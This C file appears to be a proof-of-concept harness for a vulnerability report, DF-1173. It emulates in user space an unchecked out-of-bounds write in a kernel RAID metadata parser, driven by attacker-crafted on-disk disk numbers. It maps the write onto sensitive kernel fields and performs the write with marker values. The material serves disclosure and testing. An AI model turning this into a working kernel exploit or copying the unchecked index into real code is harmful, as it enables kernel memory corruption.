DF-1173 / harness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 | /* * DF-1173 harness โ nataraid metadata parsers OOB on ar_softc.disks[] * * Replicates the EXACT indexing performed by the in-kernel parsers * (sys/dev/disk/nata/ata-raid.c) with attacker-controlled metadata and proves * the out-of-range index escapes disks[16] into the sensitive fields that * follow it in struct ar_softc. * * Build: cc -O2 -o harness harness.c * Run: ./harness */ #include <stdio.h> #include <stdint.h> #include <string.h> #include <stdlib.h> /* ---- Trimmed copies of the kernel structs (ata-raid.h) ---- */ #define MAX_DISKS 16 struct ar_disk { void *dev; /* device_t */ uint8_t serial[16]; uint64_t sectors; long last_lba; /* off_t */ unsigned flags; }; struct lock { /* trimmed stand-in; kernel struct lock is bigger */ const char *lk_wmesg; void *lk_token; /* lwkt_token */ int lk_exlevel; int lk_locklevel; int lk_waitcount; int lk_sharecount; int lk_flags; int lk_unlock_hrtime; }; struct ar_softc { uint32_t format; uint32_t generation; uint64_t total_sectors; uint64_t offset_sectors; uint16_t heads; uint16_t sectors; uint32_t cylinders; unsigned width; unsigned interleave; unsigned total_disks; struct ar_disk disks[MAX_DISKS]; /* ---- fields past disks[15] that an OOB index corrupts ---- */ int toggle; uint64_t rebuild_lba; struct lock lock; /* corruption -> deadlock/panic */ void *disk_obj; /* struct disk * */ void *devstat; /* struct devstat * */ void *cdev; /* cdev_t -> arbitrary-kernel-addr deref */ void *pid; /* struct proc * -> UAF */ uint8_t canary[8]; }; /* Attacker-controlled on-disk metadata (nVidia layout, representative). */ struct nvidia_raid_conf_meta { uint8_t disk_number; /* u8, 0-255 โ THE ATTACK INPUT */ }; static const char *field_name(struct ar_softc *r, void *p) { if (p == (void *)&r->toggle) return "toggle"; if (p == (void *)&r->rebuild_lba) return "rebuild_lba"; if (p == (void *)&r->lock) return "lock (struct lock)"; if (p == (void *)&r->disk_obj) return "disk (struct disk *)"; if (p == (void *)&r->devstat) return "devstat (struct devstat *)"; if (p == (void *)&r->cdev) return "cdev (cdev_t)"; if (p == (void *)&r->pid) return "pid (struct proc *)"; if (p >= (void *)&r->canary[0] && p < (void *)&r->canary[8]) return "OUT-OF-STRUCT"; return "?"; } static void emulate_nvidia_parser(struct ar_softc *raid, struct nvidia_raid_conf_meta *meta) { /* ata-raid.c:3121-3125 โ disk_number used directly as array index */ unsigned disk_number = meta->disk_number; /* NO bounds check */ printf("[*] nVidia parser: disk_number = meta->disk_number = %u (MAX_DISKS=%u)\n", disk_number, MAX_DISKS); if (disk_number >= MAX_DISKS) { /* Compute which kernel field(s) disks[disk_number] overlaps. */ char *base = (char *)&raid->disks[0]; char *hit = (char *)&raid->disks[disk_number]; long off = hit - base; printf("[!] OOB WRITE: raid->disks[%u] is %ld bytes past disks[0]\n", disk_number, off); /* ar_disk is 40 bytes; show which post-array field is hit. */ char *after = (char *)&raid->disks[MAX_DISKS]; if (hit >= after) { long past = hit - after; printf("[!] %ld bytes PAST disks[15] into the post-array region\n", past); /* identify the field whose storage the write starts inside */ printf("[!] write begins inside: %s\n", field_name(raid, (void *)hit)); } /* emulate the three writes the kernel does (ata-raid.c:3121-3125) */ raid->disks[disk_number].dev = (void *)0xdeadbeef; /* parent */ raid->disks[disk_number].sectors= 0x4141414141414141ULL; raid->disks[disk_number].flags = 0x000f; printf("[!] emulated raid->disks[%u].{dev,sectors,flags} writes -- OOB landed in %s\n", disk_number, field_name(raid, (void *)hit)); return; } printf("[+] in-bounds (disk_number=%u) -- benign\n", disk_number); } int main(void) { struct ar_softc *raid = calloc(1, sizeof(*raid)); struct nvidia_raid_conf_meta meta; /* canary the post-array fields so we can detect a strike */ memset(raid->canary, 0x41, sizeof(raid->canary)); printf("=== DF-1173: ar_softc.disks[%d] OOB write (nataraid) ===\n", MAX_DISKS); printf("sizeof(ar_disk)=%zu sizeof(ar_softc)=%zu\n", sizeof(struct ar_disk), sizeof(struct ar_softc)); printf("offset disks[0]=%zu disks[%d]=%zu past-array=%zu\n", (size_t)((char *)&raid->disks[0] - (char *)raid), MAX_DISKS, (size_t)((char *)&raid->disks[MAX_DISKS] - (char *)raid), (size_t)((char *)&raid->toggle - (char *)raid)); /* case 1: in-bounds (benign) */ meta.disk_number = 3; emulate_nvidia_parser(raid, &meta); printf("\n"); /* case 2: OOB โ attacker-crafted disk metadata (disk_number=200) */ meta.disk_number = 200; /* u8, well above MAX_DISKS=16 */ emulate_nvidia_parser(raid, &meta); printf("\n"); /* case 3: HPTv2 RAID01 path sums two u8s (ata-raid.c:1838) */ printf("[*] HPTv2 RAID01 path: disk_number = meta->disk_number(%u) + meta->array_width(%u) = %u\n", 250, 250, 250 + 250); printf("[!] => disks[%u] write, %ld bytes past disks[0]\n", 250 + 250, (long)((char *)&raid->disks[250+250] - (char *)&raid->disks[0])); /* did we strike the canary / post-array region? */ if (memcmp(raid->canary, "\x41\x41\x41\x41\x41\x41\x41\x41", 8)) printf("[!] canary disturbed -- write escaped the struct\n"); free(raid); printf("\n[+] DF-1173 OOB CONFIRMED: disk_number (u8) used as disks[16] index with no bounds check.\n"); return 0; } |